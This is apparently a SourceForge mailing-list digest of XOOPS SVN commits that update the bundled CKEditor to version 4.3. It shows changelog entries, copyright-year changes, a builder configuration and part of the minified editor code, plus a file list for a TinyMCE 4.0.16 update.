+* [#10881](http://dev.ckeditor.com/ticket/10881): Various improvements to *Enter* key behavior in nested editables.
+* [#10879](http://dev.ckeditor.com/ticket/10879): [Remove Format](http://ckeditor.com/addon/removeformat) should not leak from a nested editable.
+* [#10877](http://dev.ckeditor.com/ticket/10877): Fixed: [WebSpellChecker](http://ckeditor.com/addon/wsc) fails to apply changes if a nested editable was focused.
+* [#10877](http://dev.ckeditor.com/ticket/10877): Fixed: [SCAYT](http://ckeditor.com/addon/wsc) blocks typing in nested editables.
+* [#11079](http://dev.ckeditor.com/ticket/11079): Add button icons to the [Placeholder](http://ckeditor.com/addon/placeholder) sample.
+* [#10870](http://dev.ckeditor.com/ticket/10870): The `paste` command is no longer being disabled when the clipboard is empty.
+* [#10854](http://dev.ckeditor.com/ticket/10854): Fixed: Firefox prepends `<br>` to `<body>`, so it is stripped by the HTML data processor.
+* [#10823](http://dev.ckeditor.com/ticket/10823): Fixed: [Link](http://ckeditor.com/addon/link) plugin does not work with non-editable content.
+* [#10828](http://dev.ckeditor.com/ticket/10828): [Magic Line](http://ckeditor.com/addon/magicline) integration with the Widget System.
+* [#10865](http://dev.ckeditor.com/ticket/10865): Improved hiding copybin, so copying widgets works smoothly.
+* [#11066](http://dev.ckeditor.com/ticket/11066): Widget's private parts use CSS reset.
+* [#11027](http://dev.ckeditor.com/ticket/11027): Fixed: Block commands break on widgets; added the [`contentDomInvalidated`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-event-contentDomInvalidated) event.
+* [#10430](http://dev.ckeditor.com/ticket/10430): Resolve dependence of the [Image](http://ckeditor.com/addon/image) plugin on the [Form Elements](http://ckeditor.com/addon/forms) plugin.
+* [#10911](http://dev.ckeditor.com/ticket/10911): Fixed: Browser *Alt* hotkeys will no longer be blocked while a widget is focused.
+* [#11082](http://dev.ckeditor.com/ticket/11082): Fixed: Selected widget is not copied or cut when using toolbar buttons or context menu.
+* [#11083](http://dev.ckeditor.com/ticket/11083): Fixed list and div element application to block widgets.
+* [#10887](http://dev.ckeditor.com/ticket/10887): Internet Explorer 8 compatibility issues related to the Widget System.
+* [#11074](http://dev.ckeditor.com/ticket/11074): Temporarily disabled inline widget drag and drop, because of seriously buggy native `range#moveToPoint` method.
+* [#11098](http://dev.ckeditor.com/ticket/11098): Fixed: Wrong selection position after undoing widget drag and drop.
+* [#11110](http://dev.ckeditor.com/ticket/11110): Fixed: IFrame and Flash objects are being incorrectly pasted in certain conditions.
+* [#11129](http://dev.ckeditor.com/ticket/11129): Page break is lost when loading data.
+* [#11123](http://dev.ckeditor.com/ticket/11123): [Firefox] Widget is destroyed after being dragged outside of `<body>`.
+* [#11124](http://dev.ckeditor.com/ticket/11124): Fixed the [Elements Path](http://ckeditor.com/addon/elementspath) in an editor using the [Div Editing Area](http://ckeditor.com/addon/divarea).
+
+## CKEditor 4.3 Beta
+
+New Features:
+
+* [#9764](http://dev.ckeditor.com/ticket/9764): Widget System.
+ * [Widget plugin](http://ckeditor.com/addon/widget) introducing the [Widget API](http://docs.ckeditor.com/#!/api/CKEDITOR.plugins.widget).
+ * New [`editor.enterMode`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-property-enterMode) and [`editor.shiftEnterMode`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-property-shiftEnterMode) properties – normalized versions of [`config.enterMode`](http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-enterMode) and [`config.shiftEnterMode`](http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-shiftEnterMode).
+ * Dynamic editor settings. Starting from CKEditor 4.3 Beta, *Enter* mode values and [content filter](http://docs.ckeditor.com/#!/guide/dev_advanced_content_filter) instances may be changed dynamically (for example when the caret was placed in an element in which editor features should be adjusted). When you are implementing a new editor feature, you should base its behavior on [dynamic](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-property-activeEnterMode) or [static](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-property-enterMode) *Enter* mode values depending on whether this feature works in selection context or globally on editor content.
+ * Dynamic *Enter* mode values – [`editor.setActiveEnterMode`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-setActiveEnterMode) method, [`editor.activeEnterModeChange`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-event-activeEnterModeChange) event, and two properties: [`editor.activeEnterMode`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-property-activeEnterMode) and [`editor.activeShiftEnterMode`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-property-activeShiftEnterMode).
+ * Dynamic content filter instances – [`editor.setActiveFilter`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-setActiveFilter) method, [`editor.activeFilterChange`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-event-activeFilterChange) event, and [`editor.activeFilter`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-property-activeFilter) property.
+ * "Fake" selection was introduced. It makes it possible to virtually select any element when the real selection remains hidden. See the [`selection.fake`](http://docs.ckeditor.com/#!/api/CKEDITOR.dom.selection-method-fake) method.
+ * Default [`htmlParser.filter`](http://docs.ckeditor.com/#!/api/CKEDITOR.htmlParser.filter) rules are not applied to non-editable elements (elements with `contenteditable` attribute set to `false` and their descendants) anymore. To add a rule which will be applied to all elements you need to pass an additional argument to the [`filter.addRules`](http://docs.ckeditor.com/#!/api/CKEDITOR.htmlParser.filter-method-addRules) method.
+ * Dozens of new methods were introduced – most interesting ones:
+ * [`document.find`](http://docs.ckeditor.com/#!/api/CKEDITOR.dom.document-method-find),
+ * [`document.findOne`](http://docs.ckeditor.com/#!/api/CKEDITOR.dom.document-method-findOne),
+ * [`editable.insertElementIntoRange`](http://docs.ckeditor.com/#!/api/CKEDITOR.editable-method-insertElementIntoRange),
+ * [`range.moveToClosestEditablePosition`](http://docs.ckeditor.com/#!/api/CKEDITOR.dom.range-method-moveToClosestEditablePosition),
+ * New methods for [`htmlParser.node`](http://docs.ckeditor.com/#!/api/CKEDITOR.htmlParser.node) and [`htmlParser.element`](http://docs.ckeditor.com/#!/api/CKEDITOR.htmlParser.element).
+* [#10659](http://dev.ckeditor.com/ticket/10659): New [Enhanced Image](http://ckeditor.com/addon/image2) plugin that introduces a widget with integrated image captions, an option to center images, and dynamic "click and drag" resizing.
+* [#10664](http://dev.ckeditor.com/ticket/10664): New [Mathematical Formulas](http://ckeditor.com/addon/mathjax) plugin that introduces the MathJax widget.
+* [#7987](https://dev.ckeditor.com/ticket/7987): New [Language](http://ckeditor.com/addon/language) plugin that implements Language toolbar button to support [WCAG 3.1.2 Language of Parts](http://www.w3.org/TR/UNDERSTANDING-WCAG20/meaning-other-lang-id.html).
+* [#10708](http://dev.ckeditor.com/ticket/10708): New [smileys](http://ckeditor.com/addon/smiley).
+
+## CKEditor 4.2.3
+
+Fixed Issues:
+
+* [#10994](http://dev.ckeditor.com/ticket/10994): Fixed: Loading external jQuery library when opening the [jQuery Adapter](http://docs.ckeditor.com/#!/guide/dev_jquery) sample directly from file.
+* [#10975](http://dev.ckeditor.com/ticket/10975): [IE] Fixed: Error thrown while opening the color palette.
+* [#9929](http://dev.ckeditor.com/ticket/9929): [Blink/WebKit] Fixed: A non-breaking space is created once a character is deleted and a regular space is typed.
+* [#10963](http://dev.ckeditor.com/ticket/10963): Fixed: JAWS issue with the keyboard shortcut for [Magic Line](http://ckeditor.com/addon/magicline).
+* [#11096](http://dev.ckeditor.com/ticket/11096): Fixed: TypeError: Object has no method 'is'.
+
+## CKEditor 4.2.2
+
+Fixed Issues:
+
+* [#9314](http://dev.ckeditor.com/ticket/9314): Fixed: Incorrect error message on closing a dialog window without saving changs.
+* [#10308](http://dev.ckeditor.com/ticket/10308): [IE10] Fixed: Unspecified error when deleting a row.
+* [#10945](http://dev.ckeditor.com/ticket/10945): [Chrome] Fixed: Clicking with a mouse inside the editor does not show the caret.
+* [#10912](http://dev.ckeditor.com/ticket/10912): Prevent default action when content of a non-editable link is clicked.
+* [#10913](http://dev.ckeditor.com/ticket/10913): Fixed [`CKEDITOR.plugins.addExternal`](http://docs.ckeditor.com/#!/api/CKEDITOR.resourceManager-method-addExternal) not handling paths including file name specified.
+* [#10666](http://dev.ckeditor.com/ticket/10666): Fixed [`CKEDITOR.tools.isArray`](http://docs.ckeditor.com/#!/api/CKEDITOR.tools-method-isArray) not working cross frame.
+* [#10910](http://dev.ckeditor.com/ticket/10910): [IE9] Fixed JavaScript error thrown in Compatibility Mode when clicking and/or typing in the editing area.
+* [#10868](http://dev.ckeditor.com/ticket/10868): [IE8] Prevent the browser from crashing when applying the Inline Quotation style.
+* [#10915](http://dev.ckeditor.com/ticket/10915): Fixed: Invalid CSS filter in the Kama skin.
+* [#10914](http://dev.ckeditor.com/ticket/10914): Plugins [Indent List](http://ckeditor.com/addon/indentlist) and [Indent Block](http://ckeditor.com/addon/indentblock) are now included in the build configuration.
+* [#10812](http://dev.ckeditor.com/ticket/10812): Fixed [`range#createBookmark2`](http://docs.ckeditor.com/#!/api/CKEDITOR.dom.range-method-createBookmark2) incorrectly normalizing offsets. This bug was causing many issues: [#10850](http://dev.ckeditor.com/ticket/10850), [#10842](http://dev.ckeditor.com/ticket/10842).
+* [#10951](http://dev.ckeditor.com/ticket/10951): Reviewed and optimized focus handling on panels (combo, menu buttons, color buttons, and context menu) to enhance accessibility. Fixed [#10705](http://dev.ckeditor.com/ticket/10705), [#10706](http://dev.ckeditor.com/ticket/10706) and [#10707](http://dev.ckeditor.com/ticket/10707).
+* [#10704](http://dev.ckeditor.com/ticket/10704): Fixed a JAWS issue with the Select Color dialog window title not being announced.
+* [#10753](http://dev.ckeditor.com/ticket/10753): The floating toolbar in inline instances now has a dedicated accessibility label.
+
## CKEditor 4.2.1
Fixed Issues:
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/LICENSE.md
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/LICENSE.md 2014-02-10 01:29:21 UTC (rev 12293)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/LICENSE.md 2014-02-10 03:03:48 UTC (rev 12294)
@@ -2,7 +2,7 @@
==========================
CKEditor - The text editor for Internet - http://ckeditor.com
-Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
+Copyright (c) 2003-2014, CKSource - Frederico Knabben. All rights reserved.
Licensed under the terms of any of the following licenses at your
choice:
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/README.md
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/README.md 2014-02-10 01:29:21 UTC (rev 12293)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/README.md 2014-02-10 03:03:48 UTC (rev 12294)
@@ -1,7 +1,7 @@
CKEditor 4
==========
-Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
+Copyright (c) 2003-2014, CKSource - Frederico Knabben. All rights reserved.
http://ckeditor.com - See LICENSE.md for license information.
CKEditor is a text editor to be used inside web pages. It's not a replacement
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/adapters/jquery.js
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/adapters/jquery.js 2014-02-10 01:29:21 UTC (rev 12293)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/adapters/jquery.js 2014-02-10 03:03:48 UTC (rev 12294)
@@ -1,5 +1,5 @@
/*
- Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
+ Copyright (c) 2003-2014, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
(function(a){CKEDITOR.config.jqueryOverrideVal="undefined"==typeof CKEDITOR.config.jqueryOverrideVal?!0:CKEDITOR.config.jqueryOverrideVal;"undefined"!=typeof a&&(a.extend(a.fn,{ckeditorGet:function(){var a=this.eq(0).data("ckeditorInstance");if(!a)throw"CKEditor is not initialized yet, use ckeditor() with a callback.";return a},ckeditor:function(g,d){if(!CKEDITOR.env.isCompatible)throw Error("The environment is incompatible.");if(!a.isFunction(g))var k=d,d=g,g=k;var i=[],d=d||{};this.each(function(){var b=
Added: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/build-config.js
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/build-config.js (rev 0)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/build-config.js 2014-02-10 03:03:48 UTC (rev 12294)
@@ -0,0 +1,141 @@
+/**
+ * @license Copyright (c) 2003-2014, CKSource - Frederico Knabben. All rights reserved.
+ * For licensing, see LICENSE.md or http://ckeditor.com/license
+ */
+
+/**
+ * This file was added automatically by CKEditor builder.
+ * You may re-use it at any time to build CKEditor again.
+ *
+ * If you would like to build CKEditor online again
+ * (for example to upgrade), visit one the following links:
+ *
+ * (1) http://ckeditor.com/builder
+ * Visit online builder to build CKEditor from scratch.
+ *
+ * (2) http://ckeditor.com/builder/5346be27bc0918d0fd5cc09a6bae537b
+ * Visit online builder to build CKEditor, starting with the same setup as before.
+ *
+ * (3) http://ckeditor.com/builder/download/5346be27bc0918d0fd5cc09a6bae537b
+ * Straight download link to the latest version of CKEditor (Optimized) with the same setup as before.
+ *
+ * NOTE:
+ * This file is not used by CKEditor, you may remove it.
+ * Changing this file will not change your CKEditor configuration.
+ */
+
+var CKBUILDER_CONFIG = {
+ skin: 'moono',
+ preset: 'standard',
+ ignore: [
+ 'dev',
+ '.gitignore',
+ '.gitattributes',
+ 'README.md',
+ '.mailmap'
+ ],
+ plugins : {
+ 'a11yhelp' : 1,
+ 'about' : 1,
+ 'basicstyles' : 1,
+ 'blockquote' : 1,
+ 'clipboard' : 1,
+ 'contextmenu' : 1,
+ 'elementspath' : 1,
+ 'enterkey' : 1,
+ 'entities' : 1,
+ 'filebrowser' : 1,
+ 'floatingspace' : 1,
+ 'format' : 1,
+ 'horizontalrule' : 1,
+ 'htmlwriter' : 1,
+ 'image' : 1,
+ 'indentlist' : 1,
+ 'link' : 1,
+ 'list' : 1,
+ 'magicline' : 1,
+ 'maximize' : 1,
+ 'pastefromword' : 1,
+ 'pastetext' : 1,
+ 'removeformat' : 1,
+ 'resize' : 1,
+ 'scayt' : 1,
+ 'sourcearea' : 1,
+ 'specialchar' : 1,
+ 'stylescombo' : 1,
+ 'tab' : 1,
+ 'table' : 1,
+ 'tabletools' : 1,
+ 'toolbar' : 1,
+ 'undo' : 1,
+ 'wsc' : 1,
+ 'wysiwygarea' : 1
+ },
+ languages : {
+ 'af' : 1,
+ 'ar' : 1,
+ 'bg' : 1,
+ 'bn' : 1,
+ 'bs' : 1,
+ 'ca' : 1,
+ 'cs' : 1,
+ 'cy' : 1,
+ 'da' : 1,
+ 'de' : 1,
+ 'el' : 1,
+ 'en' : 1,
+ 'en-au' : 1,
+ 'en-ca' : 1,
+ 'en-gb' : 1,
+ 'eo' : 1,
+ 'es' : 1,
+ 'et' : 1,
+ 'eu' : 1,
+ 'fa' : 1,
+ 'fi' : 1,
+ 'fo' : 1,
+ 'fr' : 1,
+ 'fr-ca' : 1,
+ 'gl' : 1,
+ 'gu' : 1,
+ 'he' : 1,
+ 'hi' : 1,
+ 'hr' : 1,
+ 'hu' : 1,
+ 'id' : 1,
+ 'is' : 1,
+ 'it' : 1,
+ 'ja' : 1,
+ 'ka' : 1,
+ 'km' : 1,
+ 'ko' : 1,
+ 'ku' : 1,
+ 'lt' : 1,
+ 'lv' : 1,
+ 'mk' : 1,
+ 'mn' : 1,
+ 'ms' : 1,
+ 'nb' : 1,
+ 'nl' : 1,
+ 'no' : 1,
+ 'pl' : 1,
+ 'pt' : 1,
+ 'pt-br' : 1,
+ 'ro' : 1,
+ 'ru' : 1,
+ 'si' : 1,
+ 'sk' : 1,
+ 'sl' : 1,
+ 'sq' : 1,
+ 'sr' : 1,
+ 'sr-latn' : 1,
+ 'sv' : 1,
+ 'th' : 1,
+ 'tr' : 1,
+ 'ug' : 1,
+ 'uk' : 1,
+ 'vi' : 1,
+ 'zh' : 1,
+ 'zh-cn' : 1
+ }
+};
\ No newline at end of file
Property changes on: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/build-config.js
___________________________________________________________________
Added: svn:keywords
## -0,0 +1 ##
+Id
\ No newline at end of property
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/ckeditor.js
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/ckeditor.js 2014-02-10 01:29:21 UTC (rev 12293)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/ckeditor.js 2014-02-10 03:03:48 UTC (rev 12294)
@@ -1,420 +1,456 @@
/*
-Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
+Copyright (c) 2003-2014, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
-(function(){if(window.CKEDITOR&&window.CKEDITOR.dom)return;window.CKEDITOR||(window.CKEDITOR=function(){var b={timestamp:"D8AD",version:"4.2.1",revision:"5010dd4",rnd:Math.floor(900*Math.random())+100,_:{pending:[]},status:"unloaded",basePath:function(){var a=window.CKEDITOR_BASEPATH||"";if(!a)for(var b=document.getElementsByTagName("script"),e=0;e<b.length;e++){var c=b[e].src.match(/(^|.*[\\\/])ckeditor(?:_basic)?(?:_source)?.js(?:\?.*)?$/i);if(c){a=c[1];break}}-1==a.indexOf(":/")&&(a=0===a.indexOf("/")?location.href.match(/^.*?:\/\/[^\/]*/)[0]+a:location.href.match(/^[^\?]*\/(?:)/)[0]+
-a);if(!a)throw'The CKEditor installation path could not be automatically detected. Please set the global variable "CKEDITOR_BASEPATH" before creating editor instances.';return a}(),getUrl:function(a){-1==a.indexOf(":/")&&0!==a.indexOf("/")&&(a=this.basePath+a);this.timestamp&&("/"!=a.charAt(a.length-1)&&!/[&?]t=/.test(a))&&(a+=(0<=a.indexOf("?")?"&":"?")+"t="+this.timestamp);return a},domReady:function(){function a(){try{document.addEventListener?(document.removeEventListener("DOMContentLoaded",a,
-!1),b()):document.attachEvent&&"complete"===document.readyState&&(document.detachEvent("onreadystatechange",a),b())}catch(e){}}function b(){for(var a;a=e.shift();)a()}var e=[];return function(b){e.push(b);"complete"===document.readyState&&setTimeout(a,1);if(1==e.length)if(document.addEventListener)document.addEventListener("DOMContentLoaded",a,!1),window.addEventListener("load",a,!1);else if(document.attachEvent){document.attachEvent("onreadystatechange",a);window.attachEvent("onload",a);b=!1;try{b=
-!window.frameElement}catch(d){}if(document.documentElement.doScroll&&b){var c=function(){try{document.documentElement.doScroll("left")}catch(b){setTimeout(c,1);return}a()};c()}}}}()},c=window.CKEDITOR_GETURL;if(c){var a=b.getUrl;b.getUrl=function(f){return c.call(b,f)||a.call(b,f)}}return b}());
-CKEDITOR.event||(CKEDITOR.event=function(){},CKEDITOR.event.implementOn=function(b){var c=CKEDITOR.event.prototype,a;for(a in c)b[a]==void 0&&(b[a]=c[a])},CKEDITOR.event.prototype=function(){function b(f){var b=c(this);return b[f]||(b[f]=new a(f))}var c=function(a){a=a.getPrivate&&a.getPrivate()||a._||(a._={});return a.events||(a.events={})},a=function(a){this.name=a;this.listeners=[]};a.prototype={getListenerIndex:function(a){for(var b=0,e=this.listeners;b<e.length;b++)if(e[b].fn==a)return b;return-1}};
-return{define:function(a,d){var e=b.call(this,a);CKEDITOR.tools.extend(e,d,true)},on:function(a,d,e,c,j){function i(b,g,m,q){b={name:a,sender:this,editor:b,data:g,listenerData:c,stop:m,cancel:q,removeListener:k};return d.call(e,b)===false?false:b.data}function k(){q.removeListener(a,d)}var m=b.call(this,a);if(m.getListenerIndex(d)<0){m=m.listeners;e||(e=this);isNaN(j)&&(j=10);var q=this;i.fn=d;i.priority=j;for(var r=m.length-1;r>=0;r--)if(m[r].priority<=j){m.splice(r+1,0,i);return{removeListener:k}}m.unshift(i)}return{removeListener:k}},
-once:function(){var a=arguments[1];arguments[1]=function(b){b.removeListener();return a.apply(this,arguments)};return this.on.apply(this,arguments)},capture:function(){CKEDITOR.event.useCapture=1;var a=this.on.apply(this,arguments);CKEDITOR.event.useCapture=0;return a},fire:function(){var a=0,b=function(){a=1},e=0,h=function(){e=1};return function(j,i,k){var m=c(this)[j],j=a,q=e;a=e=0;if(m){var r=m.listeners;if(r.length)for(var r=r.slice(0),l,g=0;g<r.length;g++){if(m.errorProof)try{l=r[g].call(this,
-k,i,b,h)}catch(p){}else l=r[g].call(this,k,i,b,h);l===false?e=1:typeof l!="undefined"&&(i=l);if(a||e)break}}i=e?false:typeof i=="undefined"?true:i;a=j;e=q;return i}}(),fireOnce:function(a,b,e){b=this.fire(a,b,e);delete c(this)[a];return b},removeListener:function(a,b){var e=c(this)[a];if(e){var h=e.getListenerIndex(b);h>=0&&e.listeners.splice(h,1)}},removeAllListeners:function(){var a=c(this),b;for(b in a)delete a[b]},hasListeners:function(a){return(a=c(this)[a])&&a.listeners.length>0}}}());
-CKEDITOR.editor||(CKEDITOR.editor=function(){CKEDITOR._.pending.push([this,arguments]);CKEDITOR.event.call(this)},CKEDITOR.editor.prototype.fire=function(b,c){b in{instanceReady:1,loaded:1}&&(this[b]=true);return CKEDITOR.event.prototype.fire.call(this,b,c,this)},CKEDITOR.editor.prototype.fireOnce=function(b,c){b in{instanceReady:1,loaded:1}&&(this[b]=true);return CKEDITOR.event.prototype.fireOnce.call(this,b,c,this)},CKEDITOR.event.implementOn(CKEDITOR.editor.prototype));
-CKEDITOR.env||(CKEDITOR.env=function(){var b=navigator.userAgent.toLowerCase(),c=window.opera,a={ie:eval("/*@cc_on!@*/false"),opera:!!c&&c.version,webkit:b.indexOf(" applewebkit/")>-1,air:b.indexOf(" adobeair/")>-1,mac:b.indexOf("macintosh")>-1,quirks:document.compatMode=="BackCompat",mobile:b.indexOf("mobile")>-1,iOS:/(ipad|iphone|ipod)/.test(b),isCustomDomain:function(){if(!this.ie)return false;var a=document.domain,f=window.location.hostname;return a!=f&&a!="["+f+"]"},secure:location.protocol==
-"https:"};a.gecko=navigator.product=="Gecko"&&!a.webkit&&!a.opera;if(a.webkit)b.indexOf("chrome")>-1?a.chrome=true:a.safari=true;var f=0;if(a.ie){f=a.quirks||!document.documentMode?parseFloat(b.match(/msie (\d+)/)[1]):document.documentMode;a.ie9Compat=f==9;a.ie8Compat=f==8;a.ie7Compat=f==7;a.ie6Compat=f<7||a.quirks&&f<10}if(a.gecko){var d=b.match(/rv:([\d\.]+)/);if(d){d=d[1].split(".");f=d[0]*1E4+(d[1]||0)*100+(d[2]||0)*1}}a.opera&&(f=parseFloat(c.version()));a.air&&(f=parseFloat(b.match(/ adobeair\/(\d+)/)[1]));
-a.webkit&&(f=parseFloat(b.match(/ applewebkit\/(\d+)/)[1]));a.version=f;a.isCompatible=a.iOS&&f>=534||!a.mobile&&(a.ie&&f>6||a.gecko&&f>=10801||a.opera&&f>=9.5||a.air&&f>=1||a.webkit&&f>=522||false);a.hidpi=window.devicePixelRatio>=2;a.cssClass="cke_browser_"+(a.ie?"ie":a.gecko?"gecko":a.opera?"opera":a.webkit?"webkit":"unknown");if(a.quirks)a.cssClass=a.cssClass+" cke_browser_quirks";if(a.ie){a.cssClass=a.cssClass+(" cke_browser_ie"+(a.quirks||a.version<7?"6":a.version));if(a.quirks)a.cssClass=a.cssClass+
-" cke_browser_iequirks"}if(a.gecko)if(f<10900)a.cssClass=a.cssClass+" cke_browser_gecko18";else if(f<=11E3)a.cssClass=a.cssClass+" cke_browser_gecko19";if(a.air)a.cssClass=a.cssClass+" cke_browser_air";if(a.iOS)a.cssClass=a.cssClass+" cke_browser_ios";if(a.hidpi)a.cssClass=a.cssClass+" cke_hidpi";return a}());
-"unloaded"==CKEDITOR.status&&function(){CKEDITOR.event.implementOn(CKEDITOR);CKEDITOR.loadFullCore=function(){if(CKEDITOR.status!="basic_ready")CKEDITOR.loadFullCore._load=1;else{delete CKEDITOR.loadFullCore;var b=document.createElement("script");b.type="text/javascript";b.src=CKEDITOR.basePath+"ckeditor.js";document.getElementsByTagName("head")[0].appendChild(b)}};CKEDITOR.loadFullCoreTimeout=0;CKEDITOR.add=function(b){(this._.pending||(this._.pending=[])).push(b)};(function(){CKEDITOR.domReady(function(){var b=
-CKEDITOR.loadFullCore,c=CKEDITOR.loadFullCoreTimeout;if(b){CKEDITOR.status="basic_ready";b&&b._load?b():c&&setTimeout(function(){CKEDITOR.loadFullCore&&CKEDITOR.loadFullCore()},c*1E3)}})})();CKEDITOR.status="basic_loaded"}();CKEDITOR.dom={};
-(function(){var b=[],c=CKEDITOR.env.gecko?"-moz-":CKEDITOR.env.webkit?"-webkit-":CKEDITOR.env.opera?"-o-":CKEDITOR.env.ie?"-ms-":"";CKEDITOR.on("reset",function(){b=[]});CKEDITOR.tools={arrayCompare:function(a,f){if(!a&&!f)return true;if(!a||!f||a.length!=f.length)return false;for(var b=0;b<a.length;b++)if(a[b]!=f[b])return false;return true},clone:function(a){var f;if(a&&a instanceof Array){f=[];for(var b=0;b<a.length;b++)f[b]=CKEDITOR.tools.clone(a[b]);return f}if(a===null||typeof a!="object"||
-a instanceof String||a instanceof Number||a instanceof Boolean||a instanceof Date||a instanceof RegExp)return a;f=new a.constructor;for(b in a)f[b]=CKEDITOR.tools.clone(a[b]);return f},capitalize:function(a){return a.charAt(0).toUpperCase()+a.substring(1).toLowerCase()},extend:function(a){var f=arguments.length,b,e;if(typeof(b=arguments[f-1])=="boolean")f--;else if(typeof(b=arguments[f-2])=="boolean"){e=arguments[f-1];f=f-2}for(var c=1;c<f;c++){var j=arguments[c],i;for(i in j)if(b===true||a[i]==void 0)if(!e||
-i in e)a[i]=j[i]}return a},prototypedCopy:function(a){var b=function(){};b.prototype=a;return new b},copy:function(a){var b={},d;for(d in a)b[d]=a[d];return b},isArray:function(a){return!!a&&a instanceof Array},isEmpty:function(a){for(var b in a)if(a.hasOwnProperty(b))return false;return true},cssVendorPrefix:function(a,b,d){if(d)return c+a+":"+b+";"+a+":"+b;d={};d[a]=b;d[c+a]=b;return d},cssStyleToDomStyle:function(){var a=document.createElement("div").style,b=typeof a.cssFloat!="undefined"?"cssFloat":
-typeof a.styleFloat!="undefined"?"styleFloat":"float";return function(a){return a=="float"?b:a.replace(/-./g,function(a){return a.substr(1).toUpperCase()})}}(),buildStyleHtml:function(a){for(var a=[].concat(a),b,d=[],c=0;c<a.length;c++)if(b=a[c])/@import|[{}]/.test(b)?d.push("<style>"+b+"</style>"):d.push('<link type="text/css" rel=stylesheet href="'+b+'">');return d.join("")},htmlEncode:function(a){return(""+a).replace(/&/g,"&").replace(/>/g,">").replace(/</g,"<")},htmlEncodeAttr:function(a){return a.replace(/"/g,
-""").replace(/</g,"<").replace(/>/g,">")},getNextNumber:function(){var a=0;return function(){return++a}}(),getNextId:function(){return"cke_"+this.getNextNumber()},override:function(a,b){var d=b(a);d.prototype=a.prototype;return d},setTimeout:function(a,b,d,c,h){h||(h=window);d||(d=h);return h.setTimeout(function(){c?a.apply(d,[].concat(c)):a.apply(d)},b||0)},trim:function(){var a=/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g;return function(b){return b.replace(a,"")}}(),ltri...
[truncated message content] |
|
From: <be...@us...> - 2014-02-10 01:29:25
|
Revision: 12293
http://sourceforge.net/p/xoops/svn/12293
Author: beckmi
Date: 2014-02-10 01:29:21 +0000 (Mon, 10 Feb 2014)
Log Message:
-----------
Updating to TinyMCE 4.0.16
Modified Paths:
--------------
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/changelog.txt
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autolink/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autoresize/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autosave/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/image/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/importcss/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/link/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/media/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/noneditable/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/paste/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/spellchecker/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/tabfocus/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/table/plugin.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/skins/lightgray/content.inline.min.css
